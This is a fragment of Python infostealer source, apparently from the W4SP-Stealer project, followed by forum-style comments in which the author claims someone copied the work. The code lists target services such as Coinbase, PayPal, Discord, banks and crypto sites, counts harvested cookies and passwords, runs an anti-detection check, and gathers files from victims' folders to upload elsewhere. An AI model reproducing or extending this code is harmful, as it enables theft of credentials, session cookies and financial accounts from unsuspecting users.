    'mail', '[coinbase](https://coinbase.com)', '[sellix](https://sellix.io)', '[gmail](https://gmail.com)', '[steam](https://steam.com)', '[discord](https://discord.com)', '[riotgames](https://riotgames.com)', '[youtube](https://youtube.com)', '[instagram](https://instagram.com)', '[tiktok](https://tiktok.com)', '[twitter](https://twitter.com)', '[facebook](https://facebook.com)', 'card', '[epicgames](https://epicgames.com)', '[spotify](https://spotify.com)', '[yahoo](https://yahoo.com)', '[roblox](https://roblox.com)', '[twitch](https://twitch.com)', '[minecraft](https://minecraft.net)', 'bank', '[paypal](https://paypal.com)', '[origin](https://origin.com)', '[amazon](https://amazon.com)', '[ebay](https://ebay.com)', '[aliexpress](https://aliexpress.com)', '[playstation](https://playstation.com)', '[hbo](https://hbo.com)', '[xbox](https://xbox.com)', 'buy', 'sell', '[binance](https://binance.com)', '[hotmail](https://hotmail.com)', '[outlook](https://outlook.com)', '[crunchyroll](https://crunchyroll.com)', '[telegram](https://telegram.com)', '[pornhub](https://pornhub.com)', '[disney](https://disney.com)', '[expressvpn](https://expressvpn.com)', 'crypto', '[uber](https://uber.com)', '[netflix](https://netflix.com)'
]

CookiCount, PasswCount = 0, 0
cookiWords = []
paswWords = []

WalletsZip = [] # [Name, Link]
GamingZip = []
OtherZip = []

GatherAll()
DETECTED = Trust(Cookies)
# DETECTED = False
if not DETECTED:
    wikith = Kiwi()

    for thread in wikith: thread.join()
    time.sleep(0.2)

    filetext = "\n"
    for arg in KiwiFiles:
        if len(arg[2]) != 0:
            foldpath = arg[1]
            foldlist = arg[2]       
            filetext += f"📁 {foldpath}\n"

            for ffil in foldlist:
                a = ffil[0].split("/")
                fileanme = a[len(a)-1]
                b = ffil[1]
                filetext += f"└─:open_file_folder: [{fileanme}]({b})\n"
            filetext += "\n"
    upload("kiwi", filetext)

btw
https://github.com/loTus04/W4SP-Stealer
zeeckt is just a script kiddie stealing my work

btw https://github.com/loTus04/W4SP-Stealer zeeckt is just a script kiddie stealing my work

👍